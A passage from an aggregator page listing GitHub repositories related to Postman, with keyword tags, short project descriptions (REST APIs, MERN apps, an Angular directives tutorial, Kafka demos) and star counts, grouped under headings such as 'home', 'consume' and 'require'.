access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
Himaz1/HarverExercise
automat, automation, framework, includes, result 		This includes Postman results and REST API automation framework 0 stars 0 watchers 0 forks
SalahEddine007/mern_devconnector
action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow 		Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. 0 stars 0 watchers 0 forks
EldinZenderink/PostmanToDoc
document, documentation, example, includes, list, print, simplistic 		Generates (very) simplistic documentation for postman that includes every example when being "printed" to pdf. 0 stars 0 watchers 0 forks
ifatimazahid/MongoDB-project
contained, data, database, includes, server, software 		This MongoDB project includes creating own API server through a software POSTMAN by the help of the data contained in the MONGO database. 0 stars 0 watchers 0 forks
IgorBekerskyy/Rest_Service
includes, service 		Respository includes my Rest service, made with the help of Spring, Postman and Eclipse 0 stars 0 watchers 0 forks
ntnshrm87/FlaskDevTest
cloud, deploying, development, includes 		This repo includes Flask REST-API development using Postman and deploying the app to cloud. 0 stars 0 watchers 0 forks
PeripheralMike/jenkins-newman
docker, image, includes, jenkins, newman, remote, running, test, test run 		A complete docker image that includes Jenkins, Newman (for Postman remote test running) and the associated dependancies 0 stars 0 watchers 0 forks
vinay-sv/spring-security-authentication
auth, authentication, branch, collection, connection, future, includes, security, spring, struct, structure 		Authentication Using spring security which includes basic auth, db authentication and jwt. Postman collection added under jwt authentication branch. For Db authentication only the structure is present and not the actual db connections, which is to be implemented in the future. 0 stars 0 watchers 0 forks
VPihalov/Social-network
auth, authentication, developer, developers, file, files, forum, implementation, implementations, includes, network, posts, profile, profiles, social 		It is a social network app for developers that includes authentication, profiles, forum posts. App is based on MERN stack (MongoDB, Mongoose, React, Redux, Nodejs, Express). Main implementations are React Hooks, Redux, Postman, Bcrypt, Heroku, Git flow 0 stars 0 watchers 0 forks
ZuleikaRose/angularzuleikav1
angular, bucket, includes, public, site, website 		MEAN stack Amazon Clone website that includes AWS (IAM, S3, & public bucket), Algolia, Angular, Express, MongoDB (MLab), Node, Postman, Stripe (Checkout), TypeScript 0 stars 0 watchers 0 forks

home (15 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
argemirocosta/homefashion_test_postman
cost, home, test 		Test for Home Fashion Api using Postman. 1 stars 1 watchers 0 forks
flyingeinstein/nimble
analytics, automat, automation, collection, config, configure, controller, data, home, popular 		Arduino IoT multi-sensor for the ESP8266. Supports a number of popular sensors. Simply wire sensors to the ESP8266 and compile this sketch. Use the Http Rest API (Postman collection provided) to configure and control the sensors and direct sensor data to a number of targets such as Influx for analytics or a home automation controller. 1 stars 1 watchers 0 forks
postman-data-api-templates/home
data, home, managing, site, template, templates, website 		This is the main website for managing all the Postman data API templates. 1 stars 1 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
afreendin/DockerFlaskPythonMySQLPycharm
assignment, free, home, homework, learn, setup 		This project is a homework assignment to learn how to get Pycharm setup with Docker, Flask, MySQL, and Postman. 0 stars 0 watchers 0 forks
darkwebdev/home-api
data, home, managing 		Smarthome API for managing data from sensors 0 stars 0 watchers 0 forks
eduardotrzan/renohome
application, home, service, services 		Zipkin tracing application with 2 micro-services 0 stars 0 watchers 0 forks
IIIKBAPKA/Postman-Homework
home, homework 		Vereta A.O. My homework 5/Postman 0 stars 0 watchers 0 forks
kevinswiber/homebrew-postmanctl
home 		Homebrew tap for postmanctl 0 stars 0 watchers 0 forks
lizvane3/04-spotiapp
active, component, connection, home, image, index, message, messages, release, route, router, search, searches, track, usar, util 		Spotify: Routes (using it good and usedHash) routerLinkActive = "active” - routerLink="home”. HTTP Request. Spotify connection with postman - Home showing new releases - Search by artist - Centralizar peticiones hacia Spotify (one request to get releases and searches) - Creating pipe to no image - Reutilizar componente tarjeta para usar en index y busqueda con Input - Foundation loading - Route to each artist - Show top tracks and preview - Use safe url with pipe domSeguro. - Insert preview Spotify widget - Error messages in screen with Input 0 stars 0 watchers 0 forks
nkanand4/google-home-postman
google, home, invoking 		It is a way of invoking REST APIs from your Google Home using Google Actions 0 stars 0 watchers 0 forks
solutionsSlayer/Nexter-Luxury-home-App
home, outil, solution, solutions, test, tester, util 		Réalisation d'une API utilisant NodeJS, Express, MongoDB, Stripe, Mongoose, PUG. Responsive réalisé en avec les système de GRID. Afin de tester les différentes requêtes j'ai utilisé l'outil POSTMAN. 0 stars 0 watchers 0 forks
tubone24/ebook-homebrew-postman
book, home 		0 stars 0 watchers 0 forks
yuanmei19930510/postman_APItest
home, smart, smarthome, test 		practice postman to test smarthome 0 stars 0 watchers 0 forks

consume (15 listings) (Back to Top)

davellanedam/node-express-mongodb-jwt-rest-api-skeleton
angular, async, consume, express, frontend, github, http, https, mongo, mongod, mongodb, node, react, rest, skeleton, starter, sync 		This is a basic API REST skeleton written on JavaScript using async/await. Great for building a starter web API for your front-end (Android, iOS, Vue, react, angular, or anything that can consume an API). Demo of frontend in VueJS here: https://github.com/davellanedam/vue-skeleton-mvp 0 stars 0 watchers 119 forks
SAP-samples/sapbydesign-api-samples
collection, collections, consume, design, enable, enables, sample, samples, service, services, user, users 		A set of Postman collections that enables users to consume SAP Business ByDesign web services. 24 stars 24 watchers 22 forks
davellanedam/phalcon-micro-rest-api-skeleton
angular, consume, frontend, phalcon, react, rest, skeleton 		This is a basic API REST skeleton written on Phalcon PHP. Great For building an MVP for your frontend app (Vue, react, angular, or anything that can consume an API) 0 stars 0 watchers 19 forks
SAP-samples/service-ticket-intelligence-postman-collection-sample
collection, consume, enable, enables, environment, learn, learning, machine, sample, samples, service, template, ticket, user, users 		A Postman collection and environment template that enables users to consume the Service Ticket Intelligence machine learning service. 0 stars 0 watchers 3 forks
govindthakur25/expense-tracker
advance, advanced, concept, consume, consumer, explore, fiddler, track, tracker 		Application to explore basic and advanced concepts of Web Api 2. No consumer added yetone have to use fiddler or postman to use it. 0 stars 0 watchers 1 forks
alexanderkounadis/Angular-7-CRUD
client, client side, consume, consumes, method, methods, require, required, retrieve, server 		Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. 0 stars 0 watchers 1 forks
Teatoller/student
consume, student 		Laravel Restful API - consume the Endpoints with Postman 0 stars 0 watchers 1 forks
kevincardona/kafka_ui
consume, consumer, interface, kafka, sort, test, testing 		An easy to use interface for testing Kafka consumers. It's sorta like Postman but for Kafka ✨. 0 stars 0 watchers 0 forks
evelynda1985/mulesoft-consume-soap-app
consume, data, mulesoft, soap, studio 		Consume soap data for add numbers. Tools used: mulesoft, anypoint studio, soap 5.5, postman... 0 stars 0 watchers 0 forks
alexanderkounadis/Angular-7-CRUD-WebAPI
client, client side, consume, consumes, method, methods, require, required, retrieve, server 		Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. 0 stars 0 watchers 0 forks
cpvariyani/kafka-implementation-.net-core-c-
application, communication, console, consume, consumer, http, https, implementation, install, kafka, keeper, microservice, server, service, site, youtube 		youtube https://www.youtube.com/watch?v=ARqyWaZqn68&feature=youtu.be ..Practical Example for Use Apache Kafka In .NET Application, the demo for Kafka installation in .Net core and you can build Real-time Streaming Applications Using .NET Core c# and Kafka. Steps 1. Download Prerequisite for Kafka and zookeeper 2. Install Kafka and zookeeper 3. Create a topic in Kafka console 4. Start the Kafka producer server 5. Start the Kafka consumer server 6. Create .Net core microservice as a producer 7. Create .Net core application as a consumer 8. Test Kafka implementation using postman to see the communication between communication. 0 stars 0 watchers 0 forks
drrtuy/mcs-postman
consume, consumer, store 		Kafka consumer for MariaDB Columnstore 0 stars 0 watchers 0 forks
JudithCortes/SpotyApp
consume 		Esta aplicación consume la API de Spotify 0 stars 0 watchers 0 forks
rashidmajeed/dotnetcore-postgresql
api blueprint, asyncapi, backend, consume, dotnet, endpoint, endpoints, json schema, oauth, openid, postgres, postgresql, sql, storage, test, tested, webapi 		c#.netcore 2.1 is for backend webapi and for storage postgresql is used. Web api is exposed as endpoints and are tested by postman. Frontend will be soon availabe to consume web api's 0 stars 0 watchers 0 forks
WairaSofiaO/ci_webservices
consume, service, services, webservice, webservices 		Proyecto de php con el framwork Codeignater que consume datos de una web services, se puede verificar con Postman 0 stars 0 watchers 0 forks

require (15 listings) (Back to Top)

matt-ball/postman-external-require
external, inside, node, package, packages, require 		Import node packages inside Postman. 1 stars 1 watchers 1 forks
mmsrgit/spring-security-db
auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user 		This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML 1 stars 1 watchers 1 forks
adineshreddy1/SupplyChainManagementIntoBlockchain
blockchain, chai, details, developer, developers, free, front end, location, require, stat, status, system, track, tracking 		A blockchain based system which records the temperature,location and other paramaters of a shipment/consignment during shipment. Depending upon our requirements for tracking the consignment , we can keep those details into blockchain such as location,status, time,temperature and others. Looking forward for the contribution from front end developers. Please feel free to ping me. 1 stars 1 watchers 0 forks
omarabdeljelil/flight-api
data, fiddler, flight, includes, laravel, light, require, test, tested, user, validation 		Flight API (created with laravel 5.7) all the HTTP requests are tested with Postman/fiddler. it includes data validation and require user's Token validation for PUT,POST and DELETE requests 1 stars 1 watchers 0 forks
Shaykoo/task-manager-api
address, auth, authenticate, authenticated, authentication, data, database, email, mail, manager, notify, require, required, send, sends, site, store, stores, task, tasks, test, user, users, website 		This app is purely based on NodeJS. This app is a task manager app which stores all the users and their tasks in MongoDB database with required authentication of the user to create, read, update and delete the users and their own particular tasks plus when a user gets created or deleted the app sends them email to notify. Use the website address to test it on postman. Get authenticated before using the app on postman. 1 stars 1 watchers 0 forks
alexanderkounadis/Angular-7-CRUD
client, client side, consume, consumes, method, methods, require, required, retrieve, server 		Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. 0 stars 0 watchers 1 forks
HP213/My_first_cryptocurrency
action, chai, comments, connection, crypto, cryptocurrency, currency, http, local, locally, node, require, suggest, system, transactions, understanding, user 		Using Blockchain, I made my first cryptocurrency, I suggest using postman for better understanding. Baiscally we made an decentralized system of transferring cryptocurrency. It is runnig locally on http://127.0.0.1:5001/ you can chage port according to requirement and new user. Post request is made to add transactions and create a new node and get request to block new mine and get chain. Everything mentioned in code with comments, we have made three ports http://127.0.0.1:5002/, http://127.0.0.1:5003/, http://127.0.0.1:5004/, to show connections between three miners "A" "B" and "C". You can make more 0 stars 0 watchers 0 forks
alexanderkounadis/Angular-7-CRUD-WebAPI
client, client side, consume, consumes, method, methods, require, required, retrieve, server 		Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. 0 stars 0 watchers 0 forks
CallanHP/oci-api-signing-postman-collection
collection, form, implements, require, required, script, scripts, signing 		This Postman collection implements pre-request scripts to perform the signing required to invoke the OCI APIs. 0 stars 0 watchers 0 forks
deeps96/PostmanTetris
game, goal, require, scenario 		This game was created based on the requirement of the IT-Talents Code Competition 11/2017. The goal was to develop a Tetris-like game in a scenario around the postman. 0 stars 0 watchers 0 forks
Dilshan97/simple-microservice
customer, details, microservice, mobile, order, phone, place, require, required, retail, service, store 		ABC Company has started with a small mobile phone retail store in Colombo. It is required to capture order details and provide unique identifier for the customer for the order that is placed from the store front 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
